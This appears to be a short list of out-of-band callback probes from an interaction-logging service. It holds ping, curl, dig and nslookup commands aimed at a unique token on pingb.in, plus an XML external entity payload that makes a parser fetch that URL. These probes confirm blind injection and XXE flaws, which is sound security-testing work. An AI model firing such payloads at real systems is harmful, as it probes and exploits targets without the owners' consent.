$ ping -c1 -p 00874b80d38236b469e626a4b9cfc800 pingb.in
 

$ curl pingb.in/p/874b80d38236b469e626a4b9cfc8
 

$ dig 874b80d38236b469e626a4b9cfc8 @pingb.in
 

$ dig 874b80d38236b469e626a4b9cfc8.ns.pingb.in
 

C:\> nslookup 874b80d38236b469e626a4b9cfc8 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/874b80d38236b469e626a4b9cfc8">]>
    <foo>&xxe;</foo>